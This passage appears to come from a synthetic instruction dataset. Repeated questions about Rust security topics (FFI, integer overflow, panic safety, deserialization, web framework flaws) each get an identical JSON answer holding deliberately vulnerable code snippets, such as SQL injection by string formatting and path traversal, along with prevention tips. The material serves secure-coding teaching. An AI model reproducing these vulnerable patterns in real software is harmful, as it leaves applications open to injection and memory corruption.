        "Use repr(C) consistently",
        "Validate struct layouts",
        "Use bindgen for C bindings"
      ]
    },
    "lifetime_violations": {
      "description": "Lifetime issues across FFI",
      "vulnerable_code": "\n// VULNERABLE: Lifetime violation\nextern \"C\" fn callback(data: *const u8) {\n    // Store pointer that might become invalid\n    unsafe {\n        STORED_PTR = data;  // Lifetime not tracked!\n    }\n}\n\n// Later use of STORED_PTR = use after free\n                    ",
      "exploitation": "Use-after-free through dangling pointers",
      "prevention": [
        "Never store raw pointers",
        "Use proper lifetime management",
        "Clone data if needed"
      ]
    }
  }
}


Instruction: Answer question

Input: Tell me about ffi vulnerabilities

Output:
{
  "name": "Foreign Function Interface Exploits",
  "severity": "High",
  "description": "Vulnerabilities at Rust-C/C++ boundaries",
  "patterns": {
    "buffer_overflow_from_c": {
      "description": "Buffer overflows from C libraries",
      "vulnerable_code": "\n// VULNERABLE: Trusting C function with buffer\nextern \"C\" {\n    fn c_function(buffer: *mut u8, size: usize);\n}\n\nfn vulnerable() {\n    let mut buffer = vec![0u8; 100];\n    unsafe {\n        // C function might write beyond buffer size\n        c_function(buffer.as_mut_ptr(), 200);  // Size mismatch!\n    }\n}\n                    ",
      "exploitation": "Classic buffer overflow through FFI",
      "prevention": [
        "Validate all FFI boundaries",
        "Use safe wrappers",
        "Bounds check all buffers"
      ]
    },
    "type_confusion": {
      "description": "Type mismatches across FFI boundary",
      "vulnerable_code": "\n// VULNERABLE: Type confusion\n#[repr(C)]\nstruct RustStruct {\n    field1: i32,\n    field2: i64,\n}\n\nextern \"C\" {\n    // C expects different layout!\n    fn process_struct(s: *const RustStruct);\n}\n                    ",
      "exploitation": "Memory corruption through type confusion",
      "prevention": [
        "Use repr(C) consistently",
        "Validate struct layouts",
        "Use bindgen for C bindings"
      ]
    },
    "lifetime_violations": {
      "description": "Lifetime issues across FFI",
      "vulnerable_code": "\n// VULNERABLE: Lifetime violation\nextern \"C\" fn callback(data: *const u8) {\n    // Store pointer that might become invalid\n    unsafe {\n        STORED_PTR = data;  // Lifetime not tracked!\n    }\n}\n\n// Later use of STORED_PTR = use after free\n                    ",
      "exploitation": "Use-after-free through dangling pointers",
      "prevention": [
        "Never store raw pointers",
        "Use proper lifetime management",
        "Clone data if needed"
      ]
    }
  }
}


Instruction: Answer question

Input: How does ffi vulnerabilities work?

Output:
{
  "name": "Foreign Function Interface Exploits",
  "severity": "High",
  "description": "Vulnerabilities at Rust-C/C++ boundaries",
  "patterns": {
    "buffer_overflow_from_c": {
      "description": "Buffer overflows from C libraries",
      "vulnerable_code": "\n// VULNERABLE: Trusting C function with buffer\nextern \"C\" {\n    fn c_function(buffer: *mut u8, size: usize);\n}\n\nfn vulnerable() {\n    let mut buffer = vec![0u8; 100];\n    unsafe {\n        // C function might write beyond buffer size\n        c_function(buffer.as_mut_ptr(), 200);  // Size mismatch!\n    }\n}\n                    ",
      "exploitation": "Classic buffer overflow through FFI",
      "prevention": [
        "Validate all FFI boundaries",
        "Use safe wrappers",
        "Bounds check all buffers"
      ]
    },
    "type_confusion": {
      "description": "Type mismatches across FFI boundary",
      "vulnerable_code": "\n// VULNERABLE: Type confusion\n#[repr(C)]\nstruct RustStruct {\n    field1: i32,\n    field2: i64,\n}\n\nextern \"C\" {\n    // C expects different layout!\n    fn process_struct(s: *const RustStruct);\n}\n                    ",
      "exploitation": "Memory corruption through type confusion",
      "prevention": [
        "Use repr(C) consistently",
        "Validate struct layouts",
        "Use bindgen for C bindings"
      ]
    },
    "lifetime_violations": {
      "description": "Lifetime issues across FFI",
      "vulnerable_code": "\n// VULNERABLE: Lifetime violation\nextern \"C\" fn callback(data: *const u8) {\n    // Store pointer that might become invalid\n    unsafe {\n        STORED_PTR = data;  // Lifetime not tracked!\n    }\n}\n\n// Later use of STORED_PTR = use after free\n                    ",
      "exploitation": "Use-after-free through dangling pointers",
      "prevention": [
        "Never store raw pointers",
        "Use proper lifetime management",
        "Clone data if needed"
      ]
    }
  }
}


Instruction: Answer question

Input: Describe ffi vulnerabilities

Output:
{
  "name": "Foreign Function Interface Exploits",
  "severity": "High",
  "description": "Vulnerabilities at Rust-C/C++ boundaries",
  "patterns": {
    "buffer_overflow_from_c": {
      "description": "Buffer overflows from C libraries",
      "vulnerable_code": "\n// VULNERABLE: Trusting C function with buffer\nextern \"C\" {\n    fn c_function(buffer: *mut u8, size: usize);\n}\n\nfn vulnerable() {\n    let mut buffer = vec![0u8; 100];\n    unsafe {\n        // C function might write beyond buffer size\n        c_function(buffer.as_mut_ptr(), 200);  // Size mismatch!\n    }\n}\n                    ",
      "exploitation": "Classic buffer overflow through FFI",
      "prevention": [
        "Validate all FFI boundaries",
        "Use safe wrappers",
        "Bounds check all buffers"
      ]
    },
    "type_confusion": {
      "description": "Type mismatches across FFI boundary",
      "vulnerable_code": "\n// VULNERABLE: Type confusion\n#[repr(C)]\nstruct RustStruct {\n    field1: i32,\n    field2: i64,\n}\n\nextern \"C\" {\n    // C expects different layout!\n    fn process_struct(s: *const RustStruct);\n}\n                    ",
      "exploitation": "Memory corruption through type confusion",
      "prevention": [
        "Use repr(C) consistently",
        "Validate struct layouts",
        "Use bindgen for C bindings"
      ]
    },
    "lifetime_violations": {
      "description": "Lifetime issues across FFI",
      "vulnerable_code": "\n// VULNERABLE: Lifetime violation\nextern \"C\" fn callback(data: *const u8) {\n    // Store pointer that might become invalid\n    unsafe {\n        STORED_PTR = data;  // Lifetime not tracked!\n    }\n}\n\n// Later use of STORED_PTR = use after free\n                    ",
      "exploitation": "Use-after-free through dangling pointers",
      "prevention": [
        "Never store raw pointers",
        "Use proper lifetime management",
        "Clone data if needed"
      ]
    }
  }
}


Instruction: Answer question

Input: What is integer overflow?

Output:
{
  "name": "Integer Overflow in Release Mode",
  "severity": "Medium",
  "description": "Integer overflows that only panic in debug mode",
  "vulnerable_patterns": {
    "unchecked_arithmetic": {
      "vulnerable_code": "\n// VULNERABLE: Overflow in release mode\nfn calculate_size(count: usize, size: usize) -> usize {\n    count * size  // Can overflow in release!\n}\n\nfn allocate_buffer(user_count: usize) {\n    let size = calculate_size(user_count, 1024);\n    let mut buffer = Vec::with_capacity(size);  // Wrong size!\n}\n                    ",
      "exploitation": "Cause buffer overflows through integer overflow",
      "prevention": [
        "Use checked_mul, checked_add",
        "Use saturating or wrapping explicitly",
        "Validate input ranges"
      ]
    },
    "casting_truncation": {
      "vulnerable_code": "\n// VULNERABLE: Truncation during cast\nfn process_length(len: u64) {\n    let size = len as usize;  // Truncation on 32-bit!\n    let mut buffer = vec![0u8; size];  // Wrong size!\n}\n                    ",
      "prevention": "Use try_from for fallible conversions"
    }
  }
}


Instruction: Answer question

Input: Explain integer overflow

Output:
{
  "name": "Integer Overflow in Release Mode",
  "severity": "Medium",
  "description": "Integer overflows that only panic in debug mode",
  "vulnerable_patterns": {
    "unchecked_arithmetic": {
      "vulnerable_code": "\n// VULNERABLE: Overflow in release mode\nfn calculate_size(count: usize, size: usize) -> usize {\n    count * size  // Can overflow in release!\n}\n\nfn allocate_buffer(user_count: usize) {\n    let size = calculate_size(user_count, 1024);\n    let mut buffer = Vec::with_capacity(size);  // Wrong size!\n}\n                    ",
      "exploitation": "Cause buffer overflows through integer overflow",
      "prevention": [
        "Use checked_mul, checked_add",
        "Use saturating or wrapping explicitly",
        "Validate input ranges"
      ]
    },
    "casting_truncation": {
      "vulnerable_code": "\n// VULNERABLE: Truncation during cast\nfn process_length(len: u64) {\n    let size = len as usize;  // Truncation on 32-bit!\n    let mut buffer = vec![0u8; size];  // Wrong size!\n}\n                    ",
      "prevention": "Use try_from for fallible conversions"
    }
  }
}


Instruction: Answer question

Input: Tell me about integer overflow

Output:
{
  "name": "Integer Overflow in Release Mode",
  "severity": "Medium",
  "description": "Integer overflows that only panic in debug mode",
  "vulnerable_patterns": {
    "unchecked_arithmetic": {
      "vulnerable_code": "\n// VULNERABLE: Overflow in release mode\nfn calculate_size(count: usize, size: usize) -> usize {\n    count * size  // Can overflow in release!\n}\n\nfn allocate_buffer(user_count: usize) {\n    let size = calculate_size(user_count, 1024);\n    let mut buffer = Vec::with_capacity(size);  // Wrong size!\n}\n                    ",
      "exploitation": "Cause buffer overflows through integer overflow",
      "prevention": [
        "Use checked_mul, checked_add",
        "Use saturating or wrapping explicitly",
        "Validate input ranges"
      ]
    },
    "casting_truncation": {
      "vulnerable_code": "\n// VULNERABLE: Truncation during cast\nfn process_length(len: u64) {\n    let size = len as usize;  // Truncation on 32-bit!\n    let mut buffer = vec![0u8; size];  // Wrong size!\n}\n                    ",
      "prevention": "Use try_from for fallible conversions"
    }
  }
}


Instruction: Answer question

Input: How does integer overflow work?

Output:
{
  "name": "Integer Overflow in Release Mode",
  "severity": "Medium",
  "description": "Integer overflows that only panic in debug mode",
  "vulnerable_patterns": {
    "unchecked_arithmetic": {
      "vulnerable_code": "\n// VULNERABLE: Overflow in release mode\nfn calculate_size(count: usize, size: usize) -> usize {\n    count * size  // Can overflow in release!\n}\n\nfn allocate_buffer(user_count: usize) {\n    let size = calculate_size(user_count, 1024);\n    let mut buffer = Vec::with_capacity(size);  // Wrong size!\n}\n                    ",
      "exploitation": "Cause buffer overflows through integer overflow",
      "prevention": [
        "Use checked_mul, checked_add",
        "Use saturating or wrapping explicitly",
        "Validate input ranges"
      ]
    },
    "casting_truncation": {
      "vulnerable_code": "\n// VULNERABLE: Truncation during cast\nfn process_length(len: u64) {\n    let size = len as usize;  // Truncation on 32-bit!\n    let mut buffer = vec![0u8; size];  // Wrong size!\n}\n                    ",
      "prevention": "Use try_from for fallible conversions"
    }
  }
}


Instruction: Answer question

Input: Describe integer overflow

Output:
{
  "name": "Integer Overflow in Release Mode",
  "severity": "Medium",
  "description": "Integer overflows that only panic in debug mode",
  "vulnerable_patterns": {
    "unchecked_arithmetic": {
      "vulnerable_code": "\n// VULNERABLE: Overflow in release mode\nfn calculate_size(count: usize, size: usize) -> usize {\n    count * size  // Can overflow in release!\n}\n\nfn allocate_buffer(user_count: usize) {\n    let size = calculate_size(user_count, 1024);\n    let mut buffer = Vec::with_capacity(size);  // Wrong size!\n}\n                    ",
      "exploitation": "Cause buffer overflows through integer overflow",
      "prevention": [
        "Use checked_mul, checked_add",
        "Use saturating or wrapping explicitly",
        "Validate input ranges"
      ]
    },
    "casting_truncation": {
      "vulnerable_code": "\n// VULNERABLE: Truncation during cast\nfn process_length(len: u64) {\n    let size = len as usize;  // Truncation on 32-bit!\n    let mut buffer = vec![0u8; size];  // Wrong size!\n}\n                    ",
      "prevention": "Use try_from for fallible conversions"
    }
  }
}


Instruction: Answer question

Input: What is panic safety?

Output:
{
  "name": "Panic Safety Violations",
  "severity": "High",
  "description": "Memory safety issues during panic unwinding",
  "patterns": {
    "partial_initialization": {
      "vulnerable_code": "\n// VULNERABLE: Panic during initialization\nstruct Container {\n    data: Vec<String>,\n}\n\nimpl Container {\n    fn new(items: Vec<&str>) -> Self {\n        let mut data = Vec::new();\n        for item in items {\n            // If this panics, partially initialized!\n            data.push(item.parse().unwrap());\n        }\n        Container { data }\n    }\n}\n                    ",
      "exploitation": "Cause inconsistent state through panics",
      "prevention": [
        "Use RAII patterns",
        "Handle errors properly",
        "Use panic::catch_unwind carefully"
      ]
    },
    "mutex_poisoning": {
      "description": "Poisoned mutex exploitation",
      "vulnerable_code": "\n// VULNERABLE: Ignoring poisoned mutex\nlet mutex = Arc::new(Mutex::new(vec![1, 2, 3]));\n\n// Thread 1: Panics while holding lock\nlet mut data = mutex.lock().unwrap();\ndata.push(4);\npanic!(\"oops\");  // Mutex poisoned!\n\n// Thread 2: Ignores poisoning\nlet data = mutex.lock().unwrap_or_else(|e| {\n    e.into_inner()  // Uses potentially corrupted data!\n});\n                    ",
      "prevention": "Handle poisoned mutexes appropriately"
    }
  }
}


Instruction: Answer question

Input: Explain panic safety

Output:
{
  "name": "Panic Safety Violations",
  "severity": "High",
  "description": "Memory safety issues during panic unwinding",
  "patterns": {
    "partial_initialization": {
      "vulnerable_code": "\n// VULNERABLE: Panic during initialization\nstruct Container {\n    data: Vec<String>,\n}\n\nimpl Container {\n    fn new(items: Vec<&str>) -> Self {\n        let mut data = Vec::new();\n        for item in items {\n            // If this panics, partially initialized!\n            data.push(item.parse().unwrap());\n        }\n        Container { data }\n    }\n}\n                    ",
      "exploitation": "Cause inconsistent state through panics",
      "prevention": [
        "Use RAII patterns",
        "Handle errors properly",
        "Use panic::catch_unwind carefully"
      ]
    },
    "mutex_poisoning": {
      "description": "Poisoned mutex exploitation",
      "vulnerable_code": "\n// VULNERABLE: Ignoring poisoned mutex\nlet mutex = Arc::new(Mutex::new(vec![1, 2, 3]));\n\n// Thread 1: Panics while holding lock\nlet mut data = mutex.lock().unwrap();\ndata.push(4);\npanic!(\"oops\");  // Mutex poisoned!\n\n// Thread 2: Ignores poisoning\nlet data = mutex.lock().unwrap_or_else(|e| {\n    e.into_inner()  // Uses potentially corrupted data!\n});\n                    ",
      "prevention": "Handle poisoned mutexes appropriately"
    }
  }
}


Instruction: Answer question

Input: Tell me about panic safety

Output:
{
  "name": "Panic Safety Violations",
  "severity": "High",
  "description": "Memory safety issues during panic unwinding",
  "patterns": {
    "partial_initialization": {
      "vulnerable_code": "\n// VULNERABLE: Panic during initialization\nstruct Container {\n    data: Vec<String>,\n}\n\nimpl Container {\n    fn new(items: Vec<&str>) -> Self {\n        let mut data = Vec::new();\n        for item in items {\n            // If this panics, partially initialized!\n            data.push(item.parse().unwrap());\n        }\n        Container { data }\n    }\n}\n                    ",
      "exploitation": "Cause inconsistent state through panics",
      "prevention": [
        "Use RAII patterns",
        "Handle errors properly",
        "Use panic::catch_unwind carefully"
      ]
    },
    "mutex_poisoning": {
      "description": "Poisoned mutex exploitation",
      "vulnerable_code": "\n// VULNERABLE: Ignoring poisoned mutex\nlet mutex = Arc::new(Mutex::new(vec![1, 2, 3]));\n\n// Thread 1: Panics while holding lock\nlet mut data = mutex.lock().unwrap();\ndata.push(4);\npanic!(\"oops\");  // Mutex poisoned!\n\n// Thread 2: Ignores poisoning\nlet data = mutex.lock().unwrap_or_else(|e| {\n    e.into_inner()  // Uses potentially corrupted data!\n});\n                    ",
      "prevention": "Handle poisoned mutexes appropriately"
    }
  }
}


Instruction: Answer question

Input: How does panic safety work?

Output:
{
  "name": "Panic Safety Violations",
  "severity": "High",
  "description": "Memory safety issues during panic unwinding",
  "patterns": {
    "partial_initialization": {
      "vulnerable_code": "\n// VULNERABLE: Panic during initialization\nstruct Container {\n    data: Vec<String>,\n}\n\nimpl Container {\n    fn new(items: Vec<&str>) -> Self {\n        let mut data = Vec::new();\n        for item in items {\n            // If this panics, partially initialized!\n            data.push(item.parse().unwrap());\n        }\n        Container { data }\n    }\n}\n                    ",
      "exploitation": "Cause inconsistent state through panics",
      "prevention": [
        "Use RAII patterns",
        "Handle errors properly",
        "Use panic::catch_unwind carefully"
      ]
    },
    "mutex_poisoning": {
      "description": "Poisoned mutex exploitation",
      "vulnerable_code": "\n// VULNERABLE: Ignoring poisoned mutex\nlet mutex = Arc::new(Mutex::new(vec![1, 2, 3]));\n\n// Thread 1: Panics while holding lock\nlet mut data = mutex.lock().unwrap();\ndata.push(4);\npanic!(\"oops\");  // Mutex poisoned!\n\n// Thread 2: Ignores poisoning\nlet data = mutex.lock().unwrap_or_else(|e| {\n    e.into_inner()  // Uses potentially corrupted data!\n});\n                    ",
      "prevention": "Handle poisoned mutexes appropriately"
    }
  }
}


Instruction: Answer question

Input: Describe panic safety

Output:
{
  "name": "Panic Safety Violations",
  "severity": "High",
  "description": "Memory safety issues during panic unwinding",
  "patterns": {
    "partial_initialization": {
      "vulnerable_code": "\n// VULNERABLE: Panic during initialization\nstruct Container {\n    data: Vec<String>,\n}\n\nimpl Container {\n    fn new(items: Vec<&str>) -> Self {\n        let mut data = Vec::new();\n        for item in items {\n            // If this panics, partially initialized!\n            data.push(item.parse().unwrap());\n        }\n        Container { data }\n    }\n}\n                    ",
      "exploitation": "Cause inconsistent state through panics",
      "prevention": [
        "Use RAII patterns",
        "Handle errors properly",
        "Use panic::catch_unwind carefully"
      ]
    },
    "mutex_poisoning": {
      "description": "Poisoned mutex exploitation",
      "vulnerable_code": "\n// VULNERABLE: Ignoring poisoned mutex\nlet mutex = Arc::new(Mutex::new(vec![1, 2, 3]));\n\n// Thread 1: Panics while holding lock\nlet mut data = mutex.lock().unwrap();\ndata.push(4);\npanic!(\"oops\");  // Mutex poisoned!\n\n// Thread 2: Ignores poisoning\nlet data = mutex.lock().unwrap_or_else(|e| {\n    e.into_inner()  // Uses potentially corrupted data!\n});\n                    ",
      "prevention": "Handle poisoned mutexes appropriately"
    }
  }
}


Instruction: Answer question

Input: What is deserialization attacks?

Output:
{
  "name": "Deserialization Vulnerabilities",
  "severity": "High",
  "description": "Exploiting deserialization in Rust applications",
  "patterns": {
    "serde_vulnerabilities": {
      "description": "Vulnerabilities in serde deserialization",
      "vulnerable_code": "\n// VULNERABLE: Unbounded allocation\n#[derive(Deserialize)]\nstruct Data {\n    // User controls size!\n    items: Vec<LargeStruct>,\n}\n\nfn parse_untrusted(input: &str) -> Data {\n    // Can cause OOM with large arrays\n    serde_json::from_str(input).unwrap()\n}\n                    ",
      "exploitation": "DoS through resource exhaustion",
      "prevention": [
        "Limit collection sizes",
        "Use custom deserializers",
        "Validate after deserialization"
      ]
    },
    "bincode_exploitation": {
      "description": "Binary deserialization attacks",
      "vulnerable_code": "\n// VULNERABLE: Trusting binary data\nfn deserialize_network_data(data: &[u8]) -> Message {\n    // No size limits or validation!\n    bincode::deserialize(data).unwrap()\n}\n                    ",
      "prevention": [
        "Use size limits",
        "Validate all inputs",
        "Use safe deserialization options"
      ]
    }
  }
}


Instruction: Answer question

Input: Explain deserialization attacks

Output:
{
  "name": "Deserialization Vulnerabilities",
  "severity": "High",
  "description": "Exploiting deserialization in Rust applications",
  "patterns": {
    "serde_vulnerabilities": {
      "description": "Vulnerabilities in serde deserialization",
      "vulnerable_code": "\n// VULNERABLE: Unbounded allocation\n#[derive(Deserialize)]\nstruct Data {\n    // User controls size!\n    items: Vec<LargeStruct>,\n}\n\nfn parse_untrusted(input: &str) -> Data {\n    // Can cause OOM with large arrays\n    serde_json::from_str(input).unwrap()\n}\n                    ",
      "exploitation": "DoS through resource exhaustion",
      "prevention": [
        "Limit collection sizes",
        "Use custom deserializers",
        "Validate after deserialization"
      ]
    },
    "bincode_exploitation": {
      "description": "Binary deserialization attacks",
      "vulnerable_code": "\n// VULNERABLE: Trusting binary data\nfn deserialize_network_data(data: &[u8]) -> Message {\n    // No size limits or validation!\n    bincode::deserialize(data).unwrap()\n}\n                    ",
      "prevention": [
        "Use size limits",
        "Validate all inputs",
        "Use safe deserialization options"
      ]
    }
  }
}


Instruction: Answer question

Input: Tell me about deserialization attacks

Output:
{
  "name": "Deserialization Vulnerabilities",
  "severity": "High",
  "description": "Exploiting deserialization in Rust applications",
  "patterns": {
    "serde_vulnerabilities": {
      "description": "Vulnerabilities in serde deserialization",
      "vulnerable_code": "\n// VULNERABLE: Unbounded allocation\n#[derive(Deserialize)]\nstruct Data {\n    // User controls size!\n    items: Vec<LargeStruct>,\n}\n\nfn parse_untrusted(input: &str) -> Data {\n    // Can cause OOM with large arrays\n    serde_json::from_str(input).unwrap()\n}\n                    ",
      "exploitation": "DoS through resource exhaustion",
      "prevention": [
        "Limit collection sizes",
        "Use custom deserializers",
        "Validate after deserialization"
      ]
    },
    "bincode_exploitation": {
      "description": "Binary deserialization attacks",
      "vulnerable_code": "\n// VULNERABLE: Trusting binary data\nfn deserialize_network_data(data: &[u8]) -> Message {\n    // No size limits or validation!\n    bincode::deserialize(data).unwrap()\n}\n                    ",
      "prevention": [
        "Use size limits",
        "Validate all inputs",
        "Use safe deserialization options"
      ]
    }
  }
}


Instruction: Answer question

Input: How does deserialization attacks work?

Output:
{
  "name": "Deserialization Vulnerabilities",
  "severity": "High",
  "description": "Exploiting deserialization in Rust applications",
  "patterns": {
    "serde_vulnerabilities": {
      "description": "Vulnerabilities in serde deserialization",
      "vulnerable_code": "\n// VULNERABLE: Unbounded allocation\n#[derive(Deserialize)]\nstruct Data {\n    // User controls size!\n    items: Vec<LargeStruct>,\n}\n\nfn parse_untrusted(input: &str) -> Data {\n    // Can cause OOM with large arrays\n    serde_json::from_str(input).unwrap()\n}\n                    ",
      "exploitation": "DoS through resource exhaustion",
      "prevention": [
        "Limit collection sizes",
        "Use custom deserializers",
        "Validate after deserialization"
      ]
    },
    "bincode_exploitation": {
      "description": "Binary deserialization attacks",
      "vulnerable_code": "\n// VULNERABLE: Trusting binary data\nfn deserialize_network_data(data: &[u8]) -> Message {\n    // No size limits or validation!\n    bincode::deserialize(data).unwrap()\n}\n                    ",
      "prevention": [
        "Use size limits",
        "Validate all inputs",
        "Use safe deserialization options"
      ]
    }
  }
}


Instruction: Answer question

Input: Describe deserialization attacks

Output:
{
  "name": "Deserialization Vulnerabilities",
  "severity": "High",
  "description": "Exploiting deserialization in Rust applications",
  "patterns": {
    "serde_vulnerabilities": {
      "description": "Vulnerabilities in serde deserialization",
      "vulnerable_code": "\n// VULNERABLE: Unbounded allocation\n#[derive(Deserialize)]\nstruct Data {\n    // User controls size!\n    items: Vec<LargeStruct>,\n}\n\nfn parse_untrusted(input: &str) -> Data {\n    // Can cause OOM with large arrays\n    serde_json::from_str(input).unwrap()\n}\n                    ",
      "exploitation": "DoS through resource exhaustion",
      "prevention": [
        "Limit collection sizes",
        "Use custom deserializers",
        "Validate after deserialization"
      ]
    },
    "bincode_exploitation": {
      "description": "Binary deserialization attacks",
      "vulnerable_code": "\n// VULNERABLE: Trusting binary data\nfn deserialize_network_data(data: &[u8]) -> Message {\n    // No size limits or validation!\n    bincode::deserialize(data).unwrap()\n}\n                    ",
      "prevention": [
        "Use size limits",
        "Validate all inputs",
        "Use safe deserialization options"
      ]
    }
  }
}


Instruction: Answer question

Input: What is web framework vulnerabilities?

Output:
{
  "name": "Web Framework Security Issues",
  "severity": "High",
  "description": "Vulnerabilities in Rust web applications",
  "frameworks": {
    "actix_web": {
      "sql_injection": {
        "vulnerable_code": "\n// VULNERABLE: SQL injection\nasync fn get_user(id: web::Path<String>) -> Result<HttpResponse> {\n    let query = format!(\"SELECT * FROM users WHERE id = {}\", id);\n    // Direct string interpolation = SQL injection!\n    let user = sqlx::query(&query).fetch_one(&pool).await?;\n    Ok(HttpResponse::Ok().json(user))\n}\n                        ",
        "prevention": "Use parameterized queries"
      },
      "path_traversal": {
        "vulnerable_code": "\n// VULNERABLE: Path traversal\nasync fn serve_file(path: web::Path<String>) -> Result<NamedFile> {\n    // No validation of path!\n    let file_path = format!(\"./uploads/{}\", path);\n    Ok(NamedFile::open(file_path)?)\n}\n                        ",
        "prevention": "Validate and sanitize paths"
      }
    },
    "rocket": {
      "csrf_vulnerability": {
        "description": "Missing CSRF protection",
        "vulnerable_code": "\n// VULNERABLE: No CSRF protection\n#[post(\"/transfer\", data = \"<transfer>\")]\nfn transfer_funds(transfer: Form<Transfer>) -> Result<()> {\n    // No CSRF token validation!\n    process_transfer(transfer.into_inner())\n}\n                        ",
        "prevention": "Implement CSRF tokens"
      }
    }
  }
}


Instruction: Answer question

Input: Explain web framework vulnerabilities

Output:
{
  "name": "Web Framework Security Issues",
  "severity": "High",
  "description": "Vulnerabilities in Rust web applications",
  "frameworks": {
    "actix_web": {
      "sql_injection": {
        "vulnerable_code": "\n// VULNERABLE: SQL injection\nasync fn get_user(id: web::Path<String>) -> Result<HttpResponse> {\n    let query = format!(\"SELECT * FROM users WHERE id = {}\", id);\n    // Direct string interpolation = SQL injection!\n    let user = sqlx::query(&query).fetch_one(&pool).await?;\n    Ok(HttpResponse::Ok().json(user))\n}\n                        ",
        "prevention": "Use parameterized queries"
      },
      "path_traversal": {
        "vulnerable_code": "\n// VULNERABLE: Path traversal\nasync fn serve_file(path: web::Path<String>) -> Result<NamedFile> {\n    // No validation of path!\n    let file_path = format!(\"./uploads/{}\", path);\n    Ok(NamedFile::open(file_path)?)\n}\n                        ",
        "prevention": "Validate and sanitize paths"
      }
    },
    "rocket": {
      "csrf_vulnerability": {
        "description": "Missing CSRF protection",
        "vulnerable_code": "\n// VULNERABLE: No CSRF protection\n#[post(\"/transfer\", data = \"<transfer>\")]\nfn transfer_funds(transfer: Form<Transfer>) -> Result<()> {\n    // No CSRF token validation!\n    process_transfer(transfer.into_inner())\n}\n                        ",
        "prevention": "Implement CSRF tokens"
      }
    }
  }
}